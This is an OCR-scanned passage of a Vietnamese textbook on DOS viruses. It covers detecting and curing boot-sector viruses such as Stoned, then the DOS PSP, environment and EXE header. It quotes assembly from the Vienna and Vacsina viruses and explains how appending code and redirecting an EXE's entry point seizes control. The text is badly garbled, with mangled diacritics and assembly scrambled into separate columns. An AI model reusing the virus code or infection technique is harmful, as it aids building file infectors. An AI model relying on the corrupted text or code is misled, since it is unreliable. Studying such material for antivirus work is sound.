Message db 07,”Your PC is now Stoned!’,07,0D,0A,0A,0
Copyrigh db ‘LEGALISE MARIJUANA !’,0

VII - Cich Phong Chéng Va Chira Tri.
Céc thong tin qua bdo chi chi cung cép cho ngudi doc cdc kha nang cta virus, con cdch chita
tri thi khong ai dé€ cap dén. Mat khéc, cdc nha san xuat phadn mém chéng virus lai cang khong
phd bién cach chita tri (c6 18 ho mudn gitt doc quyén). Chinh vi vay, khong ai dua ra mot cich
chita tri can ban va cé hé théng. Phan sau khong c¢6 tham vong dua ra toan bo ma chi so lugc
qua céc budc phai thuc hién.
1/ Phat hién: Day 1a budc quan trong cho cdc budc ti€p theo vi khong thé chita tri néu khong
biét may hay dia cé bi nhiém virus hay khong, hay bi nhiém loai virus nao. Viéc phat hién
trudc hét phéi thuc hién trong viing nhd, vi mot khi virus ndm quyén diéu khién s& dan dén sai
lac thong tin trong cdc tic vu truy xudt dia ti€p theo d6. Sau d6 mdi tién hanh trén dia. Sy ton
tai clia virus gan lién vdi su ton tai clia mot vai ddu hiéu dic biét. Ta s& xét 1an lugt sau day:
a. Trong viing nhé: Viéc phat hién bao gom du bdo vé€ kha nang xudt hién mot virus la trong
viing nhd, dua ra chinh xac loai virus da biét.
Do dac tinh phai ton tai trong bo nhd cao, B - virus rat dé bi phat hién. Viéc phat hién c6 thé
qua c4c budc sau:

+ So sénh t6ng s6 ving nhé BIOS tudng thuét véi toan bo ving nhé ma chuong trinh cé
duoc sau khi tu test dé kiém tra su chénh léch. Dau hiéu nay cling chua cho phép két luan da
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ton tai virus, ma 1 co s& dé tién hanh vuéc 2 vi s6 chénh léch ciing c6 thé phan anh viing
RAM da bi hong.

+ Bt ddu tir dia chi ctia viing cao, tién hanh do tim bang ki thuat Scanning: do tim doan
ma xac dinh chuong trinh virus da biét trong viing cao. Moi su tim thay déu cho phép két luan
virus ¢6 ton tai trong ving nhg. Tuy nhién, vé sau, phuong phédp scanning boc 16 thi€u sét: néu
mady dang bi nhiém virus dugc Warm boot v6i mot dia mém sach s& khong test RAM va do d6
véin phét hién virus trong viing nhé. D€ khic phuc diéu nay, doc gia hay tu minh suy nghi va
dé ra phuong phap thich hgp.

+ Trong trudng hop khong phat hién, kha nang ton tai mot B - virus méi van ¢6, bang mot
s6 dau hiéu. Mot s6 tht thuat, ching ta van c¢6 thé cho mot két qué tuong doi chinh xé4c vé mot
loai virus méi hay khong.

+ Mot s6 phan mém chéng virus con dua thém mot bude chita tri cho viing nhd, nghia 1a
v0 hiéu hoa virus trong viing nhd bang cdch danh lai int 13h cii. Tuy nhién, vin c¢6 thi€u sét:
khong thé tra lai ving nhé cho DOS bang cdch cong thém vao gia tri tai BIOS data 40:13 mot
lugng bing lugng viing nhd do virus chi€ém vi DOS sé& khong con dung dén gia tri ndy nita. Do
dé, van phai Reset lai m4y dé BIOS tién hanh test lai RAM. Nhung vo6 hiéu héa virus dé chua
tri réi rest may 13 phuong phdp tot nhat hién nay.

Mot phuong phdp khdc duge dua ra boi cdc nha chita tri virus trong nuéc - mot phuong phéap
cuc ki don gidn - tuy nhién khong thé ddm bdo su tuong thich v6i moi loai hé diéu hanh.
Phuong phdp nay dua vao dac tinh: khi virus chi ph6i viing nhé, luén luén né phéi chi€m ngét
13h, viéc thay th€ dia chi nay s& lam gi4 tri segment clia ngat 13h ddi tit ROM sang RAM,
nghia 12 thay déi tir 1 gh4 tri 16n hon 0CO00Oh thanh mot gid tri nhd hon AOOOh. Tuy nhién, khi
DOS danh quyén diéu khién, no lai thay dia chi nay bing doan mi ctia né. Do d6, véan dé phai
giai quyét 1a tim dugc chd DOS giit dia chi nay. Gid tri nay dugc cac nha nghién ctu hé thong
cong bo & dia chi 0:7B4h qua viéc nghién ctu cdc version DOS cho dén ban méi nhat DOS
4.xx. Viéc kiém tra s& cho biét may c6 bi nhiém hay khong nhung phuong phép nay véan cé
nhugc diém: Khong ddm béo sy tuong thich cho cdc ban version méi cia DOS. Ngoai ra c6
cach dinh vi lai gid tri segment dé n6 dugc xem 12 nim & ROM du n6 vin nim trong RAM.
Do d6 phuong phép nay can dugc diéu chinh dé tao mot dia chi chinh x4c 20 bit rdi so sanh
trén dia chi nay.

b. Trén dia: Viéc do tim trén dia phai thuc hién sau khi kiém tra ving nhé khong phat hién
thdy virus. Khong nhu trong viing nhd, ¢6 thé tién hanh bing nhiéu cdch bao gém ca viéc phat
hién virus méi (néu co).

Mot phuong phap dugc nhiéu phan mém Antivirus st dung 1a phuong phdp do tim doan ma.
Phuong phdp nay tuong ty nhu do tim viing nhé nhung cling con nhuge diém: do tinh chat
nguy trang clia virus, cé thé Boot sector bi 2 hay nhiéu virus gay nhiém. Phuong phap do tim
c6 thé tim thdy virus thtt 2 va do d6 din dén két qua khoi phuc sai lac.

Mot bing ching hing hén 12 néu mot dia mém bi nhiém Stone trudc khi bi Joshi virus tan
cong s& duoc phan mém TNT virus (Turbo Antivirus) thong bdo 1a bi nhiém Stone va do d6 s&
khoi phuc Stone hon 1a khoi phuc Joshi truéc.

Mot phuong phap khac cling dugc cdc phdn mém sir dung 1 kiém tra key value ma thoéi. Do su
phat trién qua nhanh cta virus, gi4 tri key value khong con mang y vghia quan trong nita. Tuy
vay, c6 thé tham khao gid tri ny véi ki thuat do tim & trén.

Pé c6 du bdo 2 virus méi, khé cé thé néi 1 Boot sector nao chita d4u hiéu virus vi 1&8 Boot
sector dugc thiét k€ ciing gin giong nhu mot B - virus, do d6 mot s6 phan mém da tao file
chita Boot sector va Partition table. Viéc kiém tra c6 ton tai virus méi hay khong chi don gian
14 so sdnh Boot record va Partition table v6i ndi dung cua file nay (nhu TNT virus da lam).

2/ Chixa tri: Nhiéu nguoi xem viéc khoi phuc dia chi don gian 1a ghi d& Boot record mdi vao
Boot. Tuy nhién, néu Boot record clia 1 dia c6 nhiém vu déc biét thi sao? D6 cling chua ké dia
cling c6 tham s6 ma chi can 1 bang Partition table sai léch ciing din dén khong kiém soét néi
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dia. Do d0, cach tot nhat 1a phai khoi phuc Boot sector (hay Partition table) trong truong hop
khong thé khoi phuc lai méi tién hanh ghi d& 1 Boot record méi. Cdc budc ti€n hanh c6 thé
nhu sau:

+ Can ct vao loai virus va loai dia (FD/HD) xdc dinh noi cit dau Boot sector.

+ Poc Boot sector hodc partition vao va kiém tra. Viéc kiém tra dugc tién hanh trén co s&
bang tham s6 BPB va ddu hiéu nhan dang dia.

+ Trong trudng hgp viéc kiém tra 1a chinh xdc méi bit ddu ghi vao Boot sector.

Dai v6i loai DB - virus, viéc khoi phuc dia con di kém véi viéc giai phéng mot s6 cluster bi
danh d&u bo trén dia, néu virus ding phuong phap dinh vi FAT. O day lai c6 mot s6 van dé
cén ban cii: vi virus sit dung cac tham s6 ctia BPB dé dinh vi cdc phan ctia hé théng va do dé,
céch dinh vi c6 thé bi sai lac. Cdch giai quyét hitu hiéu nhat 1a: nén lam nhiing diéu ma virus
da lam nhung nguoc lai: ddnh dau cluster con ding dugc hon 1a ding nhiing tham s6 chinh
xac ma DOS cung cép. Qua chitc nang 32h (Disk info Block) ctia ngit 21h.
3/ Chéng virus: Van dé nay dugc néu 1én mot cdch 6n ao, r6i sau d6 nhanh chéng chim vao
quén ling. Viéc chong virus dit dugc ap dung vé6i doi tuong 1a B - virus dung ki thuat kiém tra
tinh ton tai bing Key value, nhung cdc virus vé sau khong con dung ki thuat nay nita nén cac
phan mém chéng virus sau nay ciing khong con dung nita. Mot nhugc diém thit hai cling cdn
dé cap t6i 1a chi chéng dugc virus da phét hién ra roi.
Mot cich khic dé cé thé stra chita dugc hon 13 chéng virus, dé 1a viéc khoi phuc lai Boot
record va Partition table tir file da back up trude do.
4/ Khéi phuc dia: Day 12 budc cudi ciing clia qué trinh phong chong va chifa tri virus va ciing
1a két qua cudi cung cla loai B - virus dinh thdi. Viéc pha hoai cta loai nay thudng phong phi
da dang. Pia c6 thé bi format toan bo, bi déi tén, bi xod FAT, Root, bi ma héa toan bo dia....
Thong thuong, khi gap trudng hop nay, ngudi sit dung hoang loan dan dén nhiéu hanh dong
d6i phé sai 1dm. Vi thuc chét, dia hi€ém khi bi format va nhiing viéc mat mét root, mot phan
FAT c6 thé khoi phuc bing mot s6 phan mém chuyén vé dia nhu ND, Fixdisk...., viéc ma héa
dit liéu c6 thé khoi phuc bang cic phan mém viét riéng cho timng loai virus.

5/ Cac yéu cau cho mot phan mém chéng B - virus: Do viéc phong dai qud 16 clia gidi
bdo chi cling nhu sy cudn hit cua virus qua kha nang lay lan da lam cho s6 nguoi quan tam
dén virus tang lén dang ké. Tuy nhién, s6 ngudi viét virus thi it, song s6 phdn mém diét virus
lai nhiéu hon. C6 mot diéu: cdc phan mém diét virus hodc chi don gian 1a diét mot s6 loai nho
virus, hodc khong thdéa man cic yéu cdu clia ngudi ding. Chuong trinh chéng B - virus c6 thé
¢6 nhitng chic nang sau:

+ Chitc nang kiém tra va diét virus (néu cé). Pay 1a chuong trinh chinh clia bo
chuong trinh. Trong chuong trinh nay c6 thé bao ham kha ning tao key value dé chong nhitng
B - virus c6 dung phuong phép nay.

+ Chtic nang bao vé dia: cho phép back up Boot sector va Partition table thanh mot
file cling nhu kha nang restore nguoc lai tir file.

+ C6 thé c6 kha ning thudng trd dé kiém tra va diét virus trén bat ki mot dia mém
nao duoc cho vao.

Cac phan mém hién nay: rat phong phu va da dang nhung van con mot s6 nhugc diém sau:

+ B - virus chi kich hoat mot 1an khi boot may, do d6 viéc thudng tri dé kiém tra dia
doi khi khong can thiét, néu cé nén cé cach kiém tra khac dé khong 1am gidm toc do truy xuat.

+ Do ki thuat do tim chua hgp 1i (chon doan ma khong hop 1i) nén dan dén nhiing
thong tin sai léch. Hién nay, hau hét doan ma kiém tra virus trong viing nhé déu tién hanh quét
virus tir viing nhé thap 1én cao, do d6 khong hop 1i va dé dan dén nhiing thong bdo day ‘bi
kich’ cho nguoi st dung.
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+ Chua c6 phan du bdo virus. Viéc quan trong trong cong tic chong virus khong phai
chita tri ma la phong chong - phat hién sy xuat hién mot loai virus méi. Viéc du bdo khong
dugc phét trién vi thuc chit khong cé cdch phét hién nao 1a hiéu qua va chinh x4c.
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QUAN LY FILE VA VUNG NHO DUGI DOS

I- Quan 1y va to chic thi hanh file duéi DOS
1/ Phan loai file:
a. Gidi thiéu chung: Nhu di biét, file 1A mot céch t6 chite dit liéu trén dia dé DOS quan ly. Noi
dung ctia file c6 thé 1a thong tin vé mot d6i tugng nao do, hodc 1a tap cdc ma lénh phuc vu mot
muc dich nao d6. Nhitng thong tin thudc loai thit hai nay thuong duoc goi 1a nhiing file thi
hanh dugc ((EXEcutable file). File thi hanh: Noi dung clia né 12 mot tdp ma lénh may
(machine code) nham thi hanh mot nhiém vu nao dé. Khi can thi hanh, tén chuong trinh sé&
dugc danh ngay & ddu doi l1énh clia DOS va két thiic bing phim ENTER hoic ding chiic ning
4B ctia DOS.
Theo quan diém niy, nhiing file ngudn (source file) cia PASCAL, C (ké ca file dang
.OBJ) ciing khong phai 1a nhiing file thi hanh dugc.
DOS khong néu ra mot dic diém nhan dang nao gitta hai loai file nay. Do d6, theo qui
uGc, nhiing file thi hanh dugc s& c¢é phan md rong 1an lugt 1a .COM, .EXE va .BAT. Trong 3
loai file nay, c6 file .BAT la dac biét, n6 thuc chat 1a tap hop céc 1énh cta ting 1énh mot. Do
d6, thuc chét chi ¢6 2 file thi hanh dugc can khao st 1a .COM va .EXE.
Khi 3 file cung tén ¢6 phan md& rong 1a .COM, .EXE va .BAT, thi tu uu tién thuc hién
dugce danh cho .COM, sau d6 1a .EXE va sau cung la .BAT.
a. Té chitc thi hanh: Céch t6 chic thi hanh mot file duoc tién hanh chung cdc bude sau:

Do dic tinh dinh vi dia chi thanh segment va offset ctia cdc bo xti 1y 8088, 8086, 80x86,
mit khéc do dac tinh dinh vi twong doi cha c4c lénh JMP, CALL nén chuong trinh c6 thé duoc
tai 1én bat c phan doan nao clia viing nhd. Céch 6 chic:

+ Trudc khi mot file .COM hay .EXE dugc tai vao, DOS sé chon mot segment. Dia chi nay
thuong 1a dia chi thap nhat con ding duoc (néu cé thé duoc), segment nay dugc goi 12 PSP
(Program Segment Prefix), 1a co s& dé tdi chuong trinh vao.
+ DOS sé& tao ra ban sao moi trudng ctia DOS cho chuong trinh duogc nap, tat nhién ta c6 thé
thay ddi moi trudng ndy néu muon.
+ Riéng DOS 3.3 con dat path dung dé nap chuong trinh vao cudi moéi trudng nay.

+ Sau d6 DOS sé ti€p tuc dién vao doan PSP nhiing noi dung can thiét nhu :
- Téng s6 ving nhé con lai.
- Dia chi segment cia moi truong.
- 2 FCB.
- Tham s6 dong lénh va DTA.
- Noi dung hién thoi clia ngét 22h, 23h, 24h.
- Tao DTA ngam dinh tai PSP:080h.
- bat AL=0FFh néu dia chi dinh khong hop 1é.
- bat AH = OFFh néu dia thit hai khong hop 1.
+ DPoc 1Ch byte dau tién cia file vao dé xac dinh xem file thuoc loai .COM, .EXE chit khong
cén ctf phan md rong (Diéu nay dan dén mot file .COM ddi tén thanh .EXE ciing van thi hanh
duoc). Dau hiéu dé nhan dién file .EXE Ia 2 byte dau tién. Néu file thuoc loai .EXE, 2 byte
ddu tién s& 1a “MZ “hay “ZM “. Tuy theo loai file, t6 chiic thi hanh file s& dugc thuc hién
tuong Gng.
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b. PSP (Prefix Segment Program): Tru6c khi tién hanh tdi file vio, DOS da t3 chiic mot ciu
triic goi 12 PSP dé chita nhitng thong tin lién quan dén viing nhé, truyén tham s6 cho file v.v..
Khi chuong trinh bét dau nhan quyén diéu khién, lic nay DS:0 va ES:0 tr6 dén PSP. Thong tin
vé céu triic nay ciing dugc DOS cong b6, nhung chi vai phan chinh, cdc phdn khéc thi don
gian la “danh riéng cho DOS “. Day ciing 1a diéu thich thic cho cdc doc gia ham thich hé
thong. Cau triic ndy tuy vay c6 thé liét ké chi ti€t nhu sau - gobm 256 byte

Offset Size Noi dung
+0 2 Int20h Ngét cham dit chuong trinh

+2 2 MemTop Segment viing nhé k€ con dung dugc
+4 1 (danh riéng)
+5 5 CALLoffseg  Lénh FAR CALL dén chic nang Dispatcher cia DOS
+6 4 avai Byte con ding dugc trong Code Segment (chi cho file .COM)
+0Ah 4  off seg Dia chi ngét 22h
+0Eh 4  off seg Dia chi ngét 23h
+12h 4 off seg Dia chi ngit 24h
+16h 2 Nhan dién PSP nay cua DOS hay khong (néu gi4 tri nay
bang PSP cia COMMAND)

+18h 14 reserved

+2Ch 2 EnvSeg Dia chi segment moi trudng cua DOS
+2Eh  2Eh Danh riéng

+5Ch  10h Formated parm area 1 FCB dinh sin

+6Ch  14h Formated parm area 2 FCB dinh san 2

+80h 1 Len S6 ki tu tham s6 dong lénh & 81h ciing 1a DTA ngam dinh
+81h  7Fh Day ki tu tham s6 dong 1énh
+100h

Thong thudng it ai quan tdm dén cdc thong tin chita & cdu tric nay ma chi ¢c6 DOS su
dung. Tuy nhién c6 thé rit ra & day nhiéu diéu bd ich.
+ Ly tham s6 trén dong lénh: ddy tham s6 truyén cho chuong trinh bat ddu & offset 080h, s6
byte trén dong lénh dit & offset 80h, thong thudng ngudi ta ddi né sang dang ASCIIZ 16i copy
sang buffer clia chuong trinh. Poan ma sau tao ASCIIZ va copy command line sang buffer
riéng cua chuong trinh.
xor bx, bx
mov  bl, byte ptr [080] ;bx chita s byte tham s6
mov byte ptr [080+bx], O ; tao ASSIIZ
; copy sang
mov cXx, bx
or CX, CX
jz exit
mov si, 081
les DI, my_buffer
cld
rep movsb
exit :

+ Lay moi trudong va giai phéng moi truong: Thong thudng, khi mot chuong trinh ti€én hanh
thudng trd, cich tiét kiém viing nhé 1a hay giai phéng nhiing ving nhé khong cén thiét, trong
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d6 c6 moi truong. Poan chuong trinh sau ding chiic nang 49h cia ngét 21h dé giai phéng moi - [ Comment [N1]:

truong

mov ax, word ptr [02Ch]
mov es, ax

mov ah, 049

int 021h

c. Moi truong (environment): Ung v6i mdi chuong trinh trude khi duogc tai vao ving nhé, déu
dugc DOS gan cho mot ving nhd goi 1a moi trudng (Env). Env 1a tap hop céc chudi ASCIIZ
chita cic thong tin & mic do hé théng va duge chuyén cho chuong trinh. Kich thuéc viing moi
trudng t6i da c6 thé dat t6i 1a 32 kb.
C6 thé xem 1 minh hoa cho méi truong sau day:

tenl=giatri 1 <0> db ‘COMSPEC=C\COMMAND.COM’.0

tén2=gid tri 2 <0> db ‘PROMT= $P$G’, 0

ténn= gid tri n <0> db ‘PATH=d:\;c:\;c:\DOS’, 0

<0> db 0
Dai véi DOS 3.xx con thém mot khai cho biét path cua file duge tai 1én.
C4c ting dung ctia Env rat da dang:
- Ldy thong s6 cua path: Khi tén file dugc dua vao dau doi lénh, it ai quan tam file ndy ndm &
thu muc ndo, va do d6, ciing khong ai chiu tim hiéu DOS 1am céch nao dé tim dén file. Thuc
t¢, DOS dung dén path trong Env dé tim 14n luot. Do d6 viéc tim thong s6 ciia PATH ciing 1a
van dé can quan tam. Poan chuong trinh sau sé 14y thong so cta l1énh Path=:
mov AX, word ptr [2Ch]

mov ES, AX
xor DI, DI ;ES:DI tr6 dén Env
contl:
lea SI, pathString ;DS:SI tro dén dong tham s6 PATH
lodsb ;Lay ki tu ‘P’
mov CX, 08000 ;Kich thudc t6i da 32 kb
rep scasb ;DO trong Env chit ‘PATH=’
mov CX, 4 ;DO 4 ki tu con lai
cont2:
lodsb ;Poc 1 ki tu
scasb ;Do

jnz  contl ;Néu khong - do lai

;do thdy thi ES:DI tr6 dén ky tu diu tién sau PATH

pathString db ‘PATH=’
(Trich chuong trinh Vienna virus)

Tuong tu, ta vin c6 thé tim tén file sau lénh ‘COMSPEC=’

- L4y path va tén file hién tai. Piéu nay c6 thé phat hién file da bi déi tén hay khong, hay mé&
file lai dé kiém tra.
2/ Gié6i thiéu file .COM: Sau khi nhan dién 1a file dang .COM, file dugc tai vao ngay sau PSP,
khong céan dinh vi lai. Do dé, kich thudc clia né bi gidi han trong mot phan doan 64 Kb. T4t ca
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céc thanh ghi DE, ES, CS, SS déu tré dén PSP, stack ciing dugc tao trong phan doan nay, cic
budc tiép theo clia viéc t6 chiic thi hanh ctia DOS cho file .COM 1a :
+ CS, DS, ES va SS cuing tré t6i PSP.
+ SP dugc dinh vi dé tré dén cudi segment PSP (thong thudng gid tri ctia SP 12 OFFFFh, nhung
n6 sé& thap hon néu bd nhé khong con du téi 64 kb. Gid tri word & offset 6 ciia PSP ciing chi ra
segment chuong trinh con bao nhiéu byte duing duoc.
+ Tat cd cdc ving nhé déu dugc phan phéi cho chuong trinh. Do d6, néu chuong trinh lai
muon thi hanh mot chuong trinh khéc thi phai giai phéng bét s6 ving nhd khong can dén bang
chiic nang 49 clia ngat 21h.
+ Mot gid tri 0 dugc ddy vao stack, diéu nay bao dam su két thiic chic chén clia chuong trinh
néu cudi chuong trinh 12 mot 1énh RET thay cho cdch goi ngét 20h - diéu ma TCV hay quén vi
chuong trinh chinh ciing dugc thiét k& thanh céc tha tuc nhu cdc tht tuc khac. Khi gap 1énh
RET, quyén diéu khién tr& vé PSP:0, & day n6 gap ma lénh thi hanh ngat 20h: két thic chuong
trinh.

+ Chuong trinh dugc nap ngay sau PSP nén ddu vao chuong trinh (CS:IP) Iudn luén l1a
PSP:100h.
Do kich thudc han ché cua .COM, mét file dang méi da ra doi: .EXE.
3/ Giéi thiéu file .EXE: Khdic vdi file .COM, file .EXE khong con bi gidi han trong 1 phéan
doan ma m& rong ra trong nhiéu phan doan. Chinh vi li do nay, khi dugc nap vao viing nhd, né
phai dugc dinh vi lai (Relocate) bing cach sit dung cdc tham s6 trong mot cau tric ddu file
dugc goi 1a .EXE header. Ciing chinh vi Ii do phai dinh vi lai, chuong trinh dugc tai 1én va trao
quyén cham hon mot file .COM cuing ¢&. Cau tric cia .EXE header duoc khao st sau day.
a. .EXE header: La mot cdu tric dau file .EXE chia céc thong tin hitu ich dé tdi dinh vi c4c
phan doan khi DOS nap file vao viing nhé. Cau tric cia .EXE header nay nhu sau:

Offset  Size Noi dung

0 2 4D5Ah K{ hiéu nhan file .EXE
2 2 PartPag Chiéu dai ctia phan trang cu6i
4 2 PageCnt S6 trang (512 byte mot trang) ké ca Header
6 2 ReloCnt S6 item trong bang tai dinh vi
8 2 HdrSize Kich thudc cua Header theo doan
Ah 2 MinMem  Vung nhé t6i thiéu can thiét bén trén chuong trinh
theo doan.
Ch 2 MaxMem  Ving nhé t6i da cin thiét bén trén chuong trinh
theo doan
Eh 2 ReloSS Seg, off clia phan doan ngan xé&p (dé dat SS)
10h 2 .EXESP Gia tri cho thanh ghi SP (con trd ngin xép) khi bt dau
12h 2 ChkSum Checksum ciia tap tin (téng s6 am clia tat ca cdc word
tlr trong tép tin).
14h 2 .EXEIP Gid tri cho thanh ghi IP (con tro 1énh) khi bit ddu
16h 2 ReloCS Seg va off ctia phan doan ma 1énh (dé dat CS)
18h 2 TablOff Offset tap tin cia muc phéan bo lai dau tién, thudng 1a 1Ch)
1Ah 2 Overlay S6 hiéu overlay
1Ch Kich thudc phan da dinh dang cau tric ddu .EXE

b. Thi hanh chuong trinh: Vi file .EXE c6 thé dugc tai vao & nhiéu phan doan khic nhau, do
do, tét ca nhitng lénh Call far, con trd xa, va nhitng kiéu tham chiéu dang:
MOV AX, data-seg
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v..v.. phdi dugc hiéu chinh dé 1am viéc twong ing v6i ving nhé ma ching dugc tai vao. Cac
budc ma DOS sé tién hanh sau khi da phan biét file 1a .EXE:
+ Tao PSP qua chiic nang 26h ciia DOS, doc 1Ch byte tir file .EXE vao va xac dinh modul phai
tai vao. Modul 1a phan chuong trinh thic t€, khong tinh phan .EXE header. Trong thuc t€, phan
nay chinh la kich thudc file trir di kich thuge ctia .EXE header.
Céch tinh nay dua vao cong thic:
Kich thudc modul tai = (s6 trang*512) - (kich thu6c header) - phan trang
+ Dé tai modul nay, cin xdc dinh dIém bat diu tai ctia modul. PIém nay don gian Ia ngay sau
.EXE header (kich thuéc header * 16).
+ Xdc dinh mot dia chi phan doan cho modul tai, START_SEG, luon luon 1a PSP + 10h
+ Doc modul nay vao START_SEG: 0000h
+ Dit con tr6 file dén dIém vao clia bang téi dinh vi. tng v6i méi muc clia bang nay, ti€n hanh
budc dinh vi lai nhu sau :
- Boc item nay vao 2 tir 16 bit (i_OFF va i_SEG).
- Tim dia chi va tdi dinh vi tham chi€u dén. Phan doan RELO_SEG nay s& dugc tinh
RELO_SEG = START_SEG + i_SEG.
- Doc gid tri tai dia chi duoc tham chi€u dén nay bang dia chi dugc tao boi
RELO_SEG:i_OFF.
- Tién hanh dinh vi lai bang cdch cong gi4 tri vira ¢6 dugc véi START_SEG.
- Tra lai gid tri m&i nay vao dia chi cii (RELO_SEG:i_OFF).
+ Sau khi tdi dinh vi xong, DOS s€ phan phéi ving nhé cho chuong trinh tuong tng véi gid tri
viing nhé t6i da va t6i thiéu trong .EXE header.
+ Khéi tao gia tri cac thanh ghi :
- Céc thanh DS va ES dugc tré t6i PSP.
- AX chi ra su hgp 1é ctia dia trong dong 1énh.
- Khdi tao stack bang cach dinh vi lai SS va SP theo gid tri trong RELO_SS va
.EXE_SP nhu sau:
SS = START_SEG + RELO_SS
SP = .EXE_SP
- Dau vao chuong trinh dugc khdi tao bang céch dinh vi lai CS va IP nhu sau:
CS = START_SEG + RELO_CS
IP = .EXE_IP
+ Trao quyén diéu khién lai cho file.
Thuc t€, .EXE header chi dugc DOS sir dung dén trong khi tai va thi hanh mat file, trong suot
qua trinh thi hanh file, khong bao gio DOS phai tham chi€u dén cdu tric nay. Tuy nhién van
¢6 nhiéu diéu 1i thi vé cau tric nay.
c. Ung dung ciia .EXE header: Ta c6 thé tinh kich thudc that ctia file (trong hdu hét cc trudng
hop) bang cdch 14y ra va tinh thong tin tt .EXE header. (Chd y: Mot s6 file .EXE c¢6 kich
thuGc qua 16n da dung ki thuat gid overlay: Module tai ¢6 kich thuée nho hon nhiéu so véi
kich thudc that cuta file, né ¢6 nhiém vu tai cdc phan overlay ngay trong chuong trinh khi c6
yéu cau). C6 thé c6 nhiéu cich khdc dé tinh kich thuéc file. Tuy nhién, dé thuc hién mot s6 tac
vu khéc, phuong phdp nay van dugc nhiéu Hacker sir dung. Kich thudc that sy cla file duge
tinh bang céch tinh s6 byte tir cac trang ma file chi€ém vdi méi trang 512 byte. Tuy nhién vi ¢
thé trang cudi ciing file khong dung hét, nén phai dy tri trudng hop nay.
DPoan chuong trinh sau tinh kich thudc file dua vao .EXE header da duogc doc vao buffer
c6 tén My_Buffer réi gan n6 vao bién. Vi kich thuéc file c6 thé 16n hon 64 Kb nén gi4 tri kich
thudc file duge biéu dién bing 2 word.
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mov AX, My_buffer[4] ;SO trang

cmp My_buffer[2], 0 ;Trang cu6i cing c6 dung hét khong

je cont_1 ;N€u dung hét tinh luon

dec AX, 1 ;Ngugc lai phai b6t di 1

cont_1: ;Cong cho phan byte du

mul BytePerPage ;Déi sang byte bing cdch nhan 512

add AX, My_buffer[2] ;Cong thém phan du trang cudi

adc DX, 0 :Kich thuéc c6 thé 1a 32 bit DX:AX = kich thudc file

mov filesize_lo, AX

mov filesize_hi, DX
BytePerPage dw 200h
My_Buffer db lc dup (?)

Chuyén file dang .EXE sang .COM: Mot file .EXE c6 thé dugc bién déi sang dang .COM néu
kich thuéc clia né khong vugt qua mot phan doan 64 Kb. Cdch chuyén déi nay cin phai dugc
phan biét rd rang véi céch déi tir .EXE sang .COM bing lénh ngoai tri .EXE2BIN cua DOS.
Thuc chat, viéc chuyén déi theo DOS chi dugc thuc hién khi dau vao clia chuong trinh 1a
0100h va chuong trinh phai dugc t6 chic trong mot phan doan. Ngugc lai cach ddi nay chi
mang tinh “trd hinh “va dugc 4p dung véi toan b nhiing file .EXE dudi 64 Kb. Noi dung cta
phuong phép nay la “gan “thém vao sau file mot doan ma cho phép thay mat cho DOS dé tién
hanh c4c buée dinh vi. Ky hiéu “MZ “truyén théng dé cho DOS nhan dién file .EXE nay bi
x6a di thay vao d6 1a mot 1énh nhay dé chuyén quyén diéu khién cho doan ma nay (vé sau mot
s6 virus ciing “noi “theo cdch nay dé lay trén file .EXE c6 kich thuéc duédi 64 Kb).
Su chuyén ddi khong lam tang toc do té chitc hay thi hanh file vi thuyc chat né ciing phai tién
hanh dinh vi lai nhu DOS sé phai 1am truéc day. Tuy nhién, diéu nay khong quan trong, vi chu
dich ctia né 1a lam cho doc gia lam quen véi cach dinh vi cia DOS.
DPoan chuong trinh sau minh hoa doan ma thi hanh chitc nang t4i dinh vi thay DOS.
;1énh nhay diu chuong trinh s& chuyén quyén diéu khién lai cho nhén begin sau

jmp begin

....... ;Bang tham s6 cta .EXE header cii

; Bang tham s6 cn thiét trong qud trinh tdi dinh vi

IP_valuedw 0

CS_value dw 0

SP_value dw 0

SS_value dw O

Begin:
call next ;Lay ofofffset dé lién hé v6i bang tham s6 & trén,
doan
Next: ;ma nay co kich thude
pop BX ;4 byte nén BX lién h¢ véi
push AX ;tham s6 cudi bang 1a 5
mov AX, ES
add AX, 010 ;AX = PSP =010 = start_SEG
; dinh vi cac thanh ghi cho Stack va Code
mov CX, ptr word [010Eh] ;CX=ReloSS
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add CX, AX ;Tai dinh vi SS
mov ptr word [bx-5], AX ;Cat gid tri SS
mov CX, ptr word [116h] ;CX =ReloCS
add CX, AX ;Tai dinh vi CS
mov ptr word [bx-9], CX ;Cat gia tri CS
mov CX, ptr word [110h] ;CX =SP
mov ptr word [bx-7], CX ;Cat gia tri SP
mov CX, ptr word [114h] CX =1P

mov ptr word [bx-0Bh], CX ;Cat gia tri IP

;Pinh vi c4c item va tai dinh vi
DI, ptr word [118h]
DX, ptr word [108h]

CL, 4
shl DX, CL
mov CX, ptr word [106]

;Bét dau dinh vi

Next_Item:

jexz ok

SI, [DI+100h]

DL, 4

BP, DS

BP, ptr word [1C8h]

BP, AX
DS, BP

ptr word [si], AX
Next_item
CS

DS

mov
mov
mov

Ids
add
mov
add
add
mov
add
loop
pop
pop

;DI = offset cua item table
;Kich thuéc Header (doan)

;Nhan 16 dé ddi sang byte

;S0 item can dinh vi lai

;Lay i_Reg va i_Off
;DI trd dén item ké tiép

;BP=1_Seg
;BP =1i_Seg + Start_Seg

;Gia tri tai Relo_seg: i_Off
;8€ duoc cong thém Start_Seg

; D01 toan bo chuong trinh tir vi tri sau header 1én offfset 100h

DI, 0100
SI, DX

SI, 01CO
CX, BX

CX, SI

mov
mov

add
mov
sub
movsb

AX

rep
pop
cli
SS, ptr word [BX-5]
SP, ptr word [BX-5]

mov
mov

sti
jmp far [BX-0B]

(Trich Vacsina virus)
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+ Diéu chinh .EXE header dé€ trd dén mot doan ma khéc sau chwong trinh: thi thuat nay
tuong d6i don gidn, dugc ap dung dé gianh quyén diéu khién trudc khi trao cho chuong trinh.
Céc budc dé tién hanh nhu sau :
Tinh kich thuéc file dé “gan “phdn ma vao (bing nhiéu cdch).
Diéu chinh tham s6 trong .EXE header (chli yéu sé& 1a CS:IP, SS:SP) tr6 dén doan ma nay
Vi du minh hoa cho cdch nay s€ dugc trinh bay & chuong sau, phan ki thuat ctia F-virus 1ay lan
trén file .EXE.

4/Chitc nang .EXEC (t6 chic thi hanh file): Sau khi 2 file hé théng dugc nap lén, né s&
diing chic niang 4B dé thi hanh file COMMAND.COM (néu khéong c6 lenh SHELL chi dén
mot file khac trong CONFIG.SYS). Bén lugt minh COMMAND s€ phan tich dong 1énh dua
vio, néu dé 1a tén mot file thi hanh dugc c6 trén dia, né s& dung chinh chitc niang 4B dé thi
hanh mot 14n nita !

Chtic nang 4B cho phép mot chuong trinh (chuong trinh me) tai mot chuong trinh khac
(chuong trinh con) vao viing nhg va thi hanh nd. Sau khi chuong trinh con hoan tét, quyén diéu
